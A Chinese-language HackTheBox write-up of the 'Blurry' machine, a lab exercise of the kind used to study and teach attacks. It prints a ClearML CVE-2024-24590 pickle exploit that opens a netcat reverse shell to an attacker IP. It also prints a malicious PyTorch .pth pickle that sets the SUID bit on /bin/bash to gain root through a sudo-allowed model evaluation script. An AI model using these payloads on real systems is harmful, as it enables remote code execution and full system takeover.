Blurry Write Up on HackTheBox

Before all

全部寫完有點瑣碎,但我覺得這題利用點很有趣就貼PoC和少數過程就好ㄌ
之後有空把他補完(?)(其實這是上周打的但我 6/16 才寫)
Attacker’s IP : 10.10.14.58
Victim’s Host : blurry.htb

Write up

clearml-init

進去網站後會看到setup教學:
image

先安裝clearml

1
pip install clearml

接著打clearml-init,如果已經用過就要先rm ~/clearml.conf
最後就是把拿到的crenditial複製上去就好ㄌ

CVE-2024-24590

進去之後會看到clearML服務(VERSION 1.13),查一下會找到CVE-2024-24590

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import os
from clearml import Task
import base64
import time

task = Task.init(project_name='Black Swan', task_name='Generate and Upload Pickle', tags=["review"], task_type=Task.TaskTypes.data_processing)

class Pickle:
def __reduce__(self):
cmd = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.58 9090 >/tmp/f"
return os.system, (cmd,)

rng_name='whale_eating_corn'
task.upload_artifact(name=rng_name, artifact_object=Pickle())

task.execute_remotely(queue_name='default')

可能要多打個幾次才彈的到reverse shell…

Previlige Escalation

確認權限,打sudo -l下去就行。
image

快速地 code review
/usr/bin/evaluate_model

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
# Evaluate a given model against our proprietary dataset.
# Security checks against model file included.

if [ "$#" -ne 1 ]; then
/usr/bin/echo "Usage: $0 <path_to_model.pth>"
exit 1
fi

MODEL_FILE="$1"
TEMP_DIR="/models/temp"
PYTHON_SCRIPT="/models/evaluate_model.py"

/usr/bin/mkdir -p "$TEMP_DIR"

file_type=$(/usr/bin/file --brief "$MODEL_FILE")

# Extract based on file type
if [[ "$file_type" == *"POSIX tar archive"* ]]; then
# POSIX tar archive (older PyTorch format)
/usr/bin/tar -xf "$MODEL_FILE" -C "$TEMP_DIR"
elif [[ "$file_type" == *"Zip archive data"* ]]; then
# Zip archive (newer PyTorch format)
/usr/bin/unzip -q "$MODEL_FILE" -d "$TEMP_DIR"
else
/usr/bin/echo "[!] Unknown or unsupported file format for $MODEL_FILE"
exit 2
fi

/usr/bin/find "$TEMP_DIR" -type f \( -name "*.pkl" -o -name "pickle" \) -print0 | while IFS= read -r -d $'\0' extracted_pkl; do
fickling_output=$(/usr/local/bin/fickling -s --json-output /dev/fd/1 "$extracted_pkl")

if /usr/bin/echo "$fickling_output" | /usr/bin/jq -e 'select(.severity == "OVERTLY_MALICIOUS")' >/dev/null; then
/usr/bin/echo "[!] Model $MODEL_FILE contains OVERTLY_MALICIOUS components and will be deleted."
/bin/rm "$MODEL_FILE"
break
fi
done

/usr/bin/find "$TEMP_DIR" -type f -exec /bin/rm {} +
/bin/rm -rf "$TEMP_DIR"

if [ -f "$MODEL_FILE" ]; then
/usr/bin/echo "[+] Model $MODEL_FILE is considered safe. Processing..."
/usr/bin/python3 "$PYTHON_SCRIPT" "$MODEL_FILE"

fi

調用了/models/evaluate_model.py,繼續code review:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
import torch
import torch.nn as nn
from torchvision import transforms
from torchvision.datasets import CIFAR10
from torch.utils.data import DataLoader, Subset
import numpy as np
import sys


class CustomCNN(nn.Module):
def __init__(self):
super(CustomCNN, self).__init__()
self.conv1 = nn.Conv2d(in_channels=3, out_channels=16, kernel_size=3, padding=1)
self.conv2 = nn.Conv2d(in_channels=16, out_channels=32, kernel_size=3, padding=1)
self.pool = nn.MaxPool2d(kernel_size=2, stride=2, padding=0)
self.fc1 = nn.Linear(in_features=32 * 8 * 8, out_features=128)
self.fc2 = nn.Linear(in_features=128, out_features=10)
self.relu = nn.ReLU()

def forward(self, x):
x = self.pool(self.relu(self.conv1(x)))
x = self.pool(self.relu(self.conv2(x)))
x = x.view(-1, 32 * 8 * 8)
x = self.relu(self.fc1(x))
x = self.fc2(x)
return x


def load_model(model_path):
model = CustomCNN()

state_dict = torch.load(model_path)
model.load_state_dict(state_dict)

model.eval()
return model

def prepare_dataloader(batch_size=32):
transform = transforms.Compose([
transforms.RandomHorizontalFlip(),
transforms.RandomCrop(32, padding=4),
transforms.ToTensor(),
transforms.Normalize(mean=[0.4914, 0.4822, 0.4465], std=[0.2023, 0.1994, 0.2010]),
])

dataset = CIFAR10(root='/root/datasets/', train=False, download=False, transform=transform)
subset = Subset(dataset, indices=np.random.choice(len(dataset), 64, replace=False))
dataloader = DataLoader(subset, batch_size=batch_size, shuffle=False)
return dataloader

def evaluate_model(model, dataloader):
correct = 0
total = 0
with torch.no_grad():
for images, labels in dataloader:
outputs = model(images)
_, predicted = torch.max(outputs.data, 1)
total += labels.size(0)
correct += (predicted == labels).sum().item()

accuracy = 100 * correct / total
print(f'[+] Accuracy of the model on the test dataset: {accuracy:.2f}%')

def main(model_path):
model = load_model(model_path)
print("[+] Loaded Model.")
dataloader = prepare_dataloader()
print("[+] Dataloader ready. Evaluating model...")
evaluate_model(model, dataloader)

if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: python script.py <path_to_model.pth>")
else:
model_path = sys.argv[1] # Path to the .pth file
main(model_path)

總之,會用 pytorch 讀取使用者給的.pth file,上網找一下資料發現一樣是 pickle 反序列化,打下去!
Reference:https://cloud.tencent.com/developer/article/2237040
LPE.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import torch
import torch.nn as nn
import torch.nn.functional as F
import os

class Net(nn.Module):
def __init__(self):
super(Net, self).__init__()
self.layer1 = nn.Linear(1, 128)
self.layer2 = nn.Linear(128, 128)
self.layer3 = nn.Linear(128, 2)

def forward(self, x):
x = F.relu(self.layer1(x))
x = F.relu(self.layer2(x))
action = self.layer3(x)
return action

def __reduce__(self):
return (os.system, ('chmod u+s /bin/bash',))


if __name__ == '__main__':
a = Net()
torch.save(a, '12.pth')

最後bash -p下去就rootㄌ

After all

最近看到pickle都會想到自己拿的CVE,或許是個未來高三專題可以研究的方向(??)
關於ML套件的弱點
不過這台好玩啦><b
Badge link(click)
image